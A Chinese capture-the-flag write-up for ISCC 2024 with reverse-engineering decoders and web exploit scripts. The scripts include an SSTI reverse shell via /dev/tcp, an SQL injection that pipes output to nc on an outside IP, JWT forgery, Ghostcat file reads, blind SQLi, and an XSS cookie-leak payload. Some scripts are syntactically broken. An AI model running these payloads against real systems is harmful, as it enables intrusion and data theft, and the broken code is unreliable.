cmp = [0,16,56,114,10,5,116,43,27,25,20,3,67,109,83,89,70,84,64,103,116,125,80,64]
with open(r"D:\流量\attachment-7\BEIXUAN-8.exe", "rb") as f:
tmp = f.read()
if tmp[0:3] == b'\x4d\x5a\x50':
start = 0x0b3614 + 0xcc8
else:
start = 0xcc8
cmp = [tmp[start + i * 10] for i in range(24)]
inp1 = cmp[:12]
v7 = cmp[12:]
v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9]
inp2 = [0] * 12
for i in range(len(inp2)):
inp2[i] = v7[v4[i]]

key = 'ISCC'
for i in range(len(inp1)):
inp1[i] ^= ord(key[i % len(key)])

for i in range(len(inp1)):
print(chr(inp1[i]) + chr(inp2[i]), end='')

image-20240502231023964

ISCC{Y1mC@VF7ghTRPJtW@@}

image-20240502231053377

CrypticConundrum

IDA打开

image-20240502232113334

只有两个函数

image-20240503002452778

upx-d脱壳

image-20240503003218282

再跑脚本

cmp = []
with open(r"D:\流量\cryptic.exe", 'rb') as f:
tmp = f.read()
cmp += tmp[0x1210 + 2:0x1210 + 2 + 8]
cmp += tmp[0x121e + 2:0x121e + 2 + 8]
cmp += tmp[0x122c + 2:0x122c + 2 + 8]
cmp[22:28] = tmp[0x123a + 4:0x123a + 4 + 4]
key1 = 'So--this-is-the-right-flag'
key1_ = []
key2 = 'ISCC'

for i in range(len(cmp)):
cmp[i] -= 10
cmp[i] &= 0xff

for i in range(len(cmp) - 1):
cmp[i] += cmp[i + 1]
cmp[i] &= 0xff

for i in range(len(cmp) - 1):
cmp[i] ^= ord(key2[2])

for i in range(0, len(cmp), 2):
cmp[i] ^= ord(key2[i % 4])

for i in range(len(cmp) // 2):
cmp[i], cmp[26 - i - 1] = cmp[26 - i - 1], cmp[i]

for i in range(len(cmp) // 2):
cmp[i], cmp[26 - i - 1] = cmp[26 - i - 1], cmp[i]

for i in range(len(cmp)):
cmp[i] += ord(key2[i % 4])
cmp[i] &= 0xff

print(bytes(cmp))

image-20240503003247400

ISCC{Wi]@z’{‘,W=g&Lo>9wY8}

WinterBegins

image-20240508213206897

给了个exe文件

研究一下

直接上脚本

import string


table="冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村"
tmp=open(r"E:\QQsavefile\winterbegins (1).exe","rb").read()[0x1c98d:0x1c98d+2*140].decode('gbk',errors="ignore")
enc=tmp[:tmp.index('\x00')]
enc=''.join([''.join(enc[i+1:i-1:-1]) for i in range(len(enc)-1,-1,-2)])
tmp=[table.find(i)//2 for i in enc[0::2]]
it=iter(tmp)
listchar=[]
for i in it:
if i==11:
listchar.append(chr(next(it)+61))
else:
listchar.append(chr(i+48))
tmpflag=list(''.join(map(lambda x:chr(int(x,16)),map(lambda x,y:x+y,listchar[::2],listchar[1::2]))))
print(''.join(tmpflag))
while sum([ i-1 for i in range(len(tmpflag)) if tmpflag[i] in string.digits])>0:
index=[ i-1 for i in range(len(tmpflag)) if tmpflag[i] in string.digits][0]
tmpflag=tmpflag[:index]+[tmpflag[index]]*int(tmpflag[index+1])+tmpflag[index+2:]
print(''.join(tmpflag))

image-20240508213723635

image-20240508213731153

Find_All

image-20240508214222003

两个文件

image-20240508214335542

7z要密码

image-20240508214441198

IDA打开看下

image-20240508215227259

tap

image-20240508215257526

image-20240513201135922

直接跑python脚本

v4 = [get_wide_byte(0x00401625 + i * 7) for i in range(24)]
for i in range(0, len(v4) - 1, 4):
v4[i + 2] ^= v4[i + 3]
v4[i + 1] ^= v4[i + 2]
v4[i] ^= v4[i + 1]
print(bytes(v4).decode())

image-20240513201147452

I_am_the_Mathematician

使用前 20 个斐波那契数作为索引,从code_book中提取字符得到flag

跑脚本

import os
def fib(n):
a,b = 0,1
lis = []
for i in range(n):
a,b =b,a+b
lis.append(a)
return lis
with open([i for i in os.listdir(os.getcwd()) if i.startswith("code_book")][0],"r") as file:
data = file.read()
file.close()

target = fib(20)
assert target[-1] > len(data)
print(f"ISCC{{{''.join([data[i - 1] if i < len(data) else '' for i in
target])}}}")

image-20240513224545389

AI

两个文件

image-20240520221032476

直接跑脚本

# pip install torch
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple torchvision


_7zname = 'AI-20.7z' # 替换你的路径
offset_str = '123456789012345678901234'
target_base64 = 'TWF/c1sse19GMW5gYVRoWWFrZ3lhd0B9'


import base64
def decrypt(encrypted_base64, offset_str):
encrypted_bytes = base64.b64decode(encrypted_base64.encode('utf-8'))
encrypted_str = encrypted_bytes.decode('utf-8')
decrypted = []
for i, char in enumerate(encrypted_str):
offset = int(offset_str[i])
ascii_val = ord(char) ^ offset
if i % 2 == 0:
original_ascii = ascii_val - offset
else:
original_ascii = ascii_val + offset
decrypted_char = chr(original_ascii)
decrypted.append(decrypted_char)
return ''.join(decrypted)

key = decrypt(target_base64, offset_str)

# # Key{Y0u_F1nd_The_key_w@}
import py7zr
with py7zr.SevenZipFile(_7zname, mode='r', password=key) as z:
z.extractall()


import torch # torch基础库
import torch.nn as nn # torch神经网络库
import torch.nn.functional as F
import torchvision.transforms as transforms # 图像处理库
from PIL import Image # 图像处理库


class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.fc1 = nn.Linear(28 * 28, 128)
self.fc2 = nn.Linear(128, 64)
self.fc3 = nn.Linear(64, 10)

def forward(self, x):
x = x.view(-1, 28 * 28)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = self.fc3(x)
return x


model = torch.load("confused_digit_recognition_model.pt")
model.eval()

transform = transforms.Compose(
[
transforms.Grayscale(num_output_channels=1),
transforms.Resize((28, 28)),
transforms.ToTensor(),
transforms.Normalize((0.5,), (0.5,)),
]
)
dic = {
"0": "@nd",
"1": "a!",
"2": "_",
"3": "F",
"4": "SSS",
"5": "W@",
"6": "K",
"7": "1",
"8": "C",
"9": "d",
}
flag = []
for i in range(24):
image = Image.open(str(i + 1) + ".png")
image = transform(image).unsqueeze(0) # type:ignore
output = model(image)
predicted = torch.argmax(output, dim=1)
flag.append(predicted.item())
flag = "".join(map(str, flag))
for k, v in dic.items():
flag = flag.replace(k, v)
print(flag)

Which_is_the_flag

IDA打开后

直接IDA跑python脚本:

import base64

your_hex_string = "".join([chr(get_wide_byte(0x14000BF40+i) ^ 0xc) for i in range(48)])
bytes_object = bytes(bytearray.fromhex(your_hex_string))

decoded_string = base64.b64decode(bytes_object).decode()
print("ISCC{" + decoded_string + "}")

擂台题

火眼金睛

image-20240520223802751

base64解密

image-20240520223839786

//zfhagkhauak116arws13fasa6rtaafsfaAEShafxnvSA5glwiy8hf193751387905hwewtknfyf255hdf85u5rheyas7frfq3i526u4jrt486agax164saty611R4G3NDa2sdg//U2FsdGVkX18vC9NASfvLBkp9ZZ2D5JpAWTclbgW/tuBqs9Y0O4bw/GTv9amPiZkM

aes 加密

得:

U2FsdGVkX18vC9NASfvLBkp9ZZ2D5JpAWTclbgW/tuBqs9Y0O4bw/GTv9amPiZkM

再aes解密:

image-20240520224347554

W2w

用 wabt 的工具将 wasm 文件转为 asm 文和.c 文件;

编译出 test.o 文件

使用 IDA 打开;W2c_f6 函数发现 XXTEA 加密特征;查看调用可以看见 w2c_f8 函数对加密后的数据再 xor 了一个 0xFF

image-20240525145237457

asm 文件中寻找密文和 key , 提取出的密文长度和加密时候的一致key为 0xdeedbeef ,0xbeefdeed, 0, 1

image-20240525145351506

所以:

exp:

BTEA加密和解密

#include <stdio.h>
#include <stdint.h>

#define DELTA 0x61C88647

// Mix function for the btea algorithm
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 6)) ^ ((sum ^ y) + (key[(p & 3) ^ e]) ^ z))

// Tea block encryption/decryption function
void btea(uint32_t* v, int n, uint32_t const key[4]) {
if (n > 1) { // Encryption
uint32_t y, z, sum;
unsigned p, rounds, e;

rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];

do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; ++p) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
} else if (n < -1) { // Decryption
n = -n;
uint32_t y, z, sum;
unsigned p, rounds, e;

rounds = 6 + 52 / n;
sum = rounds * -DELTA;
y = v[0];

do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; --p) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum += DELTA;
} while (--rounds);
}
}

int main() {
unsigned char enc[] = {
21,196,46,178,244,130,147,215,136,221,180,253,8,156,156,82,
130,120,134,58,226,60,62,185,198,115,103,89,141,166,224,65,
87,166,158,196,31,92,132,117,202,61,42,152,150,46,250,43,93,
137,53,44,177,131,88,90,129,206,211,180,130,76,226,93
};

uint32_t* p = (uint32_t*)enc;
uint32_t key[4] = { 0xDEADBEEF, 0xBEEFDEED, 0, 1 };

// XOR each element with 0xFF before decryption
for (int i = 0; i < 64; ++i) {
enc[i] ^= 0xFF;
}

// Perform decryption
btea(p, -16, key);

// Print decrypted string (assuming it's null-terminated or safe to print as such)
printf("%s", (char*)enc);
return 0;
}

ezjs

简单混淆

image-20240525152649641

每次从数组里面拿个数

运算

把满足条件的加入到输出数组

输入数组的每个元素都会对应输出数组的n个元素,属于映射关系,直接爆破即可

直接手动爆破

1112746894

所以

ISCC{1112746894}

Ezobf

打开研究一些

image-20240525192708644

发现关键代码

找到密钥、密文

image-20240525192841069

写个脚本

  • 使用 .value 更直接地访问和修改 c_uint32 类型的值。
  • 在循环外部通过列表推导式计算 a2,避免了每次循环都重新计算。
  • 合并了最后的打印部分,使用列表推导式和 join 函数一次性转换并输出所有解码后的字符串
from ctypes import *
import libnum

# Given array of integers
a1 = [
0xDDA214B5, 0xE5AD9DF4, 0x6AE4F8FF, 0x925B7AF6,
0xEDCA55A3, 0xED3670CA, 0xA84E71DA, 0x1A910369,
0x75F6D88B, 0xB6BBC257, 0xC2CAE77B, 0xEFD444CF,
0x532CCDFB, 0xFA8A2260, 0xDD6B9924, 0xBBCC10E3
]

# Initialize variables
decode = []
v5 = c_uint32(0)
times = 16
delta = 0x9E3779B8

# Process the array in pairs
for j in range(0, len(a1), 2):
v5.value = delta * 16
v1 = c_uint32(a1[j])
v2 = c_uint32(a1[j+1])
a2 = [i * (j // 2 + 1) for i in [1, 2, 3, 4]]

# Perform the loop for each pair
for _ in range(times):
r8d = c_uint32((v1.value << 5) + a2[2])
r8d.value ^= (v1.value + v5.value)
esi = c_uint32((v1.value >> 6) + a2[3])
edi = c_uint32(esi.value)
edi.value &= r8d.value
edi.value *= 2
v2.value -= r8d.value - edi.value + esi.value

esi = c_uint32((v2.value << 5) + a2[0])
r11d = c_uint32(v2.value + v5.value)
edi = c_uint32(esi.value)
edi.value &= r11d.value
esi.value += r11d.value
edi.value *= 2
esi.value -= edi.value

r11d.value = (v2.value >> 6) + a2[1]
r11d.value ^= esi.value
v1.value -= r11d.value

v5.value -= delta

# Append results to the decode list
decode.extend([v1.value, v2.value])

# Convert and print the decoded values
decoded_string = ''.join(libnum.n2s(i)[::-1].decode() for i in decode)
print(decoded_string)

国密防线至善之战

IDA打开看看

image-20240525193922871

有hint

image-20240525194015461

写个脚本跑一下

f = open(r"D:\\流量\\-20240505.exe",'rb')
f.seek(0x24390)

s = list(f.read(144))
for i in range(12):
for j in range(12):
if s[i*12+j]%2:
print(" ",end="")
else:
print("*",end="")
print()

path = "1122112211110011221"
i = 5
j = 0
print("ISCC{",end="")
for c in path:
if c == "0":
print(hex(s[(i-1)*12+j])[2:].zfill(2),end="")
i-=1
elif c == "1":
print(hex(s[(i) * 12 + j+1])[2:].zfill(2), end="")
j+= 1
elif c == "2":
print(hex(s[(i+1) * 12 + j])[2:].zfill(2), end="")
i+= 1
print("}")



image-20240525194321105

web

练武题

还没想好名字的塔防游戏

这是一个还没想好名字的塔防游戏。
备注:
(1)Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!
(2)提示在后边哦!

游戏题

image-20240502213331114

image-20240502213443418

image-20240502213455867

应该是js题

照例找JS中的alert():

image-20240502214048580

根据题目

有18个字符

首页有9个大写字母:

MDWTSGTMM

在js的提示中也有9个大写字母:

WWDSCSUEL

9+9=18

猜测flag为:

ISCC{MDWTSGTMMWWDSCSUEL}

Flask中的pin值计算

给了一个网页

image-20240506204251939

f12中有个提示:

image-20240506204335544

L2dldHVzZXJuYW1l

随波逐流解码:

image-20240506204557750

/getusername

访问:

image-20240506204629461

海螺 这个好像之前做题见到过 记不得了

随便输一下发现:输入会去除输出中的所有代码块格式 以纯文本格式输出 并且重复一遍username/appname得到pincalculate/crawler

输出{app.py}得一个路由:

image-20240506210045436

/crawler 访问:

image-20240506210140557

要1s内计算 写脚本:

import requests
import json
import urllib.parse

def fetch_expression():
response = requests.get('http://101.200.138.180:10006/get_expression') # 修改[website]为实际网站地址
data = json.loads(response.text)
expression = data['expression']
return expression

def calculate_expression(expression):
# 解析unicode并计算结果
decoded_expression = urllib.parse.unquote(expression)
sanitized_expression = decoded_expression.replace('×', '*').replace('÷', '/')
result = eval(sanitized_expression)
return result

expression = fetch_expression()
result = calculate_expression(expression)
req=requests.get("http://101.200.138.180:10006/crawler?answer="+str(result))
print(req.text)

image-20240508193418242

发现uuidnode_mac在/woddenfish中 访问

image-20240508193550245

电子木鱼 敲击

image-20240508193621695

抓包

image-20240508203558487

image-20240508204046763

这个session应该是jwt加密 我们找找密钥

在源码中发现可疑处:

image-20240508204324227

密钥可能是ISCC_muyu_2024

然后改:

image-20240508210206020

这样会得到网卡地址和下一关:

{‘gongde’: 2461300743, ‘message’: ‘佛曰:功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id’}

访问/machine_id

image-20240508210356014

vip奖品:

image-20240508210438876

又是jwt

解码发现是ps256加密

是CVE-2022-39227-Python-JWT

直接上脚本

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "vip"
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))
# print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken ="eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NTg2NDgsImlhdCI6MTcxNDU1NTA0OCwianRpIjoiRjMzSnFhLTR3Q3BpV3pjV0ZZSE8xQSIsIm5iZiI6MTcxNDU1NTA0OCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.S1705RN1AwmC-AlVQxisAMAQXUeeJptacH8yirybmaV5ulcBOxhxOI13QDHdBmA3Iis12WZ61Z6x5Qx8jqecLYR291IPdyrclfRCzh4VPwArS2UYPfWP-dp0mGh-RQDzsFQ4yqgX1M6ArbWtcRpLf9NJqsjdrhJnhSCjAwKOfmpImbDq6A0RYwUxpCylbS7fedSpN14OLId8ZTOJvdtD6vNPTHfG0QWqDdfxhMIJ4K8Cab6G41ltAsrz70DMngUJUT_4ImtjWieM6qpM6OgBT5adzVGtmB1Y6cPlFhlypXHEZcvvZlmRe_FUJ7JysA0eeTOz6ObVQQhVJd0_nFFXNA"
topic = topic(originaltoken)
print(topic)

jwt伪造 改token

这样会给我们一个session和key

然后就是flasksession伪造supervip

直接打到machine-id

然后找个 werkzeug2.0.x ⾼版本算pin脚本 算出来/console 填写就有flag

代码审计

进入

image-20240520224926175使用这个接口/geneSign?param=flag.txtread生成一个secert_key

image-20240525125859430

利用这个key 直接post 读文件

image-20240525001524308

原神启动

进来

image-20240524233516594

F12有hint

image-20240524233620172

熊曰解码

image-20240524233829166

页面输入克制属性(冰)后可以进入success.html

image-20240524234007190

许愿flag 拿到hint

image-20240524234110046

访问试下

image-20240524234147523

明显是假的

最后是CVE-2020-1938

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 101.200.138.180 -p 8009 -f WEB-INF/flag.txt

image-20240520225710883

回来吧永远的神

进来

image-20240523172119669

f12看到hint

image-20240523172154020

提交答案 进入隐藏关卡

image-20240523172324998

image-20240523172442083

在源码中发现了integrity属性 base64解码

image-20240523173048724

image-20240523173154099

隐藏关卡可能是SSTI

试下

image-20240523173308191

直接SSTI反弹shell

import functools  
import time
import requests
from fenjing import exec_cmd_payload # 确保这个库存在且可以导入

url = "http://101.200.138.180:16356/evlelLL/646979696775616e"
headers = {} # 根据需要定义headers,例如添加User-Agent等
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUET5iRTAmIfSy5szAO9ZMgkA'
}

@functools.lru_cache(1000)
def waf(payload: str):
time.sleep(0.02) # 防止请求发送过多
resp = requests.post(url, headers=headers, cookies=cookies, timeout=10, data={"iIsGod": payload})
return "大胆" not in resp.text

if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1"'
)
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")

连接成功

image-20240524234544979

直接读Flag[2]和Flag[1]:

image-20240524234845635

image-20240524234905985

把源码扒下来康康

太多了 这里就不粘下来了

可以找到FLAG3的相关代码 应该是它的加密逻辑

from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum

class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03

class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64

self.mode = Mode.CBC if iv else Mode.ECB
if iv and len(iv) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB

def _xor(self, a, b):
return bytes(_a ^ _b for _a, _b in zip(a, b))

def encrypt_block(self, msg):
m0, m1 = b2l(msg[:4]), b2l(msg[4:])
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
s = 0

for _ in range(self.ROUNDS):
s += self.DELTA
m0 = ((m1 << 4) + self.KEY[_ % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(_ + 1) % len(self.KEY)])
m1 = ((m0 << 4) + self.KEY[(_ + 2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(_ + 3) % len(self.KEY)])
m0 &= msk
m1 &= msk

return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

def encrypt(self, msg):
msg_padded = pad(msg, self.BLOCK_SIZE // 8)
blocks = [msg_padded[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(msg_padded), self.BLOCK_SIZE // 8)]

ciphertext = b''
if self.mode == Mode.ECB:
ciphertext = b''.join(self.encrypt_block(block) for block in blocks)
elif self.mode == Mode.CBC:
X = self.IV
for block in blocks:
encrypted_block = self.encrypt_block(self._xor(X, block))
ciphertext += encrypted_block
X = encrypted_block
elif self.mode == Mode.CFB:
X = self.IV
for block in blocks:
output = self.encrypt_block(X)
encrypted_block = self._xor(output, block)
ciphertext += encrypted_block
X = encrypted_block

return ciphertext

if __name__ == '__main__':
KEY = get_random_bytes(16)
IV = get_random_bytes(8)
cipher = Cipher(KEY, IV)
FLAG = b'xxxxxxxxxxxxxxxxxxx'
ct = cipher.encrypt(FLAG)

print(f'KEY: {KEY.hex()}')
print(f'IV: {IV.hex()}')
print(f'Ciphertext: {ct.hex()}')

直接让AI解密

from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum

class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03

class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
self.DELTA = 0x9E3779B9
self.IV = iv
self.ROUNDS = 64

self.mode = Mode.CBC if iv else Mode.ECB
if iv and len(iv) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
print(f"Mode set to CFB due to IV length mismatch.")
else:
print(f"Mode: {self.mode}")

def _xor(self, a, b):
"""Perform XOR operation on two byte sequences."""
return bytes(_a ^ _b for _a, _b in zip(a, b))

def decrypt_block(self, ct):
"""Decrypt a single block."""
m0, m1 = b2l(ct[:4]), b2l(ct[4:])
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
s = self.DELTA * self.ROUNDS

for i in range(self.ROUNDS - 1, -1, -1):
m1 = ((m0 << 4) + self.KEY[(self.ROUNDS - 1 - i + 2) % len(self.KEY)]) ^ \
(m0 + s) ^ \
((m0 >> 5) + self.KEY[(self.ROUNDS - 1 - i + 3) % len(self.KEY)])
m1 &= msk
m0 = ((m1 << 4) + self.KEY[(self.ROUNDS - 1 - i) % len(self.KEY)]) ^ \
(m1 + s) ^ \
((m1 >> 5) + self.KEY[(self.ROUNDS - 1 - i + 1) % len(self.KEY)])
m0 &= msk
s -= self.DELTA

return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

def decrypt(self, ct):
"""Decrypt the ciphertext."""
blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]
msg = b""

if self.mode == Mode.ECB:
msg = b''.join(self.decrypt_block(block) for block in blocks)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
decrypted_block = self._xor(X, self.decrypt_block(ct_block))
msg += decrypted_block
X = ct_block
elif self.mode == Mode.CFB:
X = self.IV
for ct_block in blocks:
output = self.encrypt_block(X) # Assuming encrypt_block exists for CFB mode
decrypted_block = self._xor(output, ct_block)
msg += decrypted_block
X = ct_block

return unpad(msg, self.BLOCK_SIZE // 8)

if __name__ == "__main__":
KEY = bytes.fromhex("3362623866656338306539313238353733373566366338383563666264386133")
IV = bytes.fromhex("64343537373337663034346462393931")
cipher = Cipher(KEY, IV)
ct = bytes.fromhex("1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808")
print(f"FLAG: {cipher.decrypt(ct)}")

image-20240525001118426

然后把四段flag连起来

I{n_zIcCmoSFdoLEoaeoClrai_unIUCaehJST_k}

栅栏解密

image-20240525001411739

这题我出不了了

进来

image-20240525001948352

网上查找资料 发现有类似的2017年的HITCON SQL So Hard(over-rainbow.cn)

直接跑脚本

from random import randint

import requests

# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 121.43.127.41 3333`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (
' ' * 1024 * 1024 * 16)
username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))
data = {
'username': username + payload,
'password': 'AAAAAA'
}
print('ok')
r = requests.post('http://xxxxxx:[port]/register_7D85tmEhhAdgGu92', data=data)
print(r.content.decode('utf-8'))

反弹成功

image-20240525002256811

与时俱进

进来研究一下

发现是CVE-2022-28346

F12发现hint

image-20240525002741686

是一个注释的nick_name字段 并且提示是aggregate

测试一下 发现无回显 但是字段会被出来

可能是时间盲注

测试一下数据库

发现django默认使用sqlite作为数据库

直接跑脚本

import requests
import string
import time

def time_inject(condition):
url = "http://101.200.138.180:8003/inquiry/" headers = {}
cookies = { "csrftoken":"",#自己的
}
data={csrfmiddlewaretoken": "",# 填自己的
"sel_value": "name", "nick_name": f'name",(case when({condition}) randomblob(1000000000) else 0 end),"1'
}
while True:
try:
start = time.time()
response = requests.post(url,headers=headers,cookies=cookies,data=data)
end = time.time()
time_cost = end - start
print("time cost: ", time_cost)
if time_cost > 3:
return True
else:
return False
except:
continue

def get_length(var_name):
for i in range(1, 1000):
if time_inject(f"length({var_name})={i}"):
return i

def get_char(var_name, index):
alphabet = string.printable
for c in alphabet:
if time_inject(f"substr({var_name},{index},1)='{c}'"):
return c

def get_value(var_name, length):
for i in range(1, length + 1):
char = get_char(var_name, i)
if char is None:
result += f"{{{i}}}" else:
result += char
return result

def get_tables_name():
payload = "(select group_concat(tbl_name) from sqlite_master wheretype='table' and tbl_name NOT like 'sqlite_%')"
length = get_length(payload)
result = get_value(payload, length)
return result

def get_schema(table_name):
payload = f"(select group_concat(sql) from sqlite_master where type='table' and name='{table_name}')"
length = get_length(payload)
result = get_value(payload, length)
return result

def get_data(table_name, column_name):
payload = f"(select group_concat({column_name}) from {table_name})"
length = get_length(payload)
result = get_value(payload, length)
return result

def get_flag():
result = ""
for i in range(1, 14):
payload = "(select group_concat(flag) from flag)"
result += get_char(payload, i)
return result

def main():
print(get_flag())
# get_data('flag', 'flag')

if __name__ == "__main__":
main()

运行后得到 flag 是 url{i722vrr0},但是交了不对,访问该地址/i722vrr0,可以下载到了一份源码

根目录下有公钥、密文文件,查看依赖看见 cryptography==3.3.0。

审计之后,finally/views 和 finally/functions 存在加密解密逻辑,但是缺少私钥,无法解密,猜测私钥存在服务器上

image-20240525004449079

image-20240525004507660

研究后发现是CVE-2023-50782

开始做的时候在这里卡死了 研究了好久

可以去查一下这个CVE

发现:

漏洞披露信息显示是 Bleichenbacher timing oracle attack,搜索相关信息,找到一 个 可 用 的 [脚 本](Classic Bleichenbacher RSA Padding Oracle Attack(github.com))

基于这个脚本 我们稍作修改即可使用

运行

image-20240525004851229

掉进阿帕奇工资

进来

image-20240525005155621

随便测试一下

随便注册一个 然后登录

image-20240525005416630

不行 必须是manager 只是员工的不行

回头看我们的注册的地方

有一个职级别不能填写

image-20240525005550582

现在前端看一下 f12

image-20240525005722146

发现job被隐藏了

抓包手动添加job=admin

image-20240525010109434

但是还是不行

注意我们还有一个信息重置没有用

选择邮箱重置不行 要选择密保

image-20240525011235183

然后登录成功

发现/gongzi_iscc.php

image-20240525011345098

随便输下呢 试下ls 11

返回jb

image-20240525011432220

应该是有xor

试下jb 11

image-20240525011518395

发现执行命令

我们通过看dockerfile

secret.host:

image: nginx

container_name: secret.host

volumes:

- ./:/etc/nginx/conf.d/

猜测flag在http://secret.host/flag

研究一下发现又是CVE

CVE-2021-40438

是一个SSRF的漏洞

image-20240525011809524

通过php读文件 (payload需要xor)

php -r "echo file_get_contents('http://secret.host/flag');"

读到flag

一道普通的XSS题目

研究了一下

发现了一道相似的题

[DiceCTF 2023 writeups (ankursundara.com)](https://blog.ankursundara.com/dicectf23-writeups/)

const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());

app.get('/', (req, res) => {
// free xss, how hard could it be?
res.end(req.query?.xss ?? 'welcome to impossible-xss');
});

app.get('/flag', (req, res) => {
// flag in admin bot's FLAG cookie
res.end(req.cookies?.FLAG ?? 'dice{fakeflag}');
});

app.listen(8080);
const page = await ctx.newPage();
await page.goto('https://impossible-xss.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });

// you wish it was that easy
await page.setCookie({
"name": "FLAG",
"value": flag,
"domain": "impossible-xss.mc.ax",
"path": "/",
"httpOnly": true,
"secure": true,
"sameSite": "Strict"
});
await page.setJavaScriptEnabled(false);

await page.goto(YOUR_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });

payload:

xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "https://impossible-xss.mc.ax/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
https://hc.lc/log2.php?&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`

xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss=encodeURIComponent(xml)
https://impossible-xss.mc.ax/?xss=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHBzOi8vaW1wb3NzaWJsZS14c3MubWMuYXgvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHBzOi8vaGMubGMvbG9nMi5waHA%2FJnh4ZTsKICAgICAgICAgIDwveHNsOmF0dHJpYnV0ZT4KICAgICAgICA8L2ltZz4KICAgICAgPC9CT0RZPgogICAgPC9IVE1MPgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg%3D%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

擂台题

《狂飙》知多少

给了一个网页

image-20240506201453561

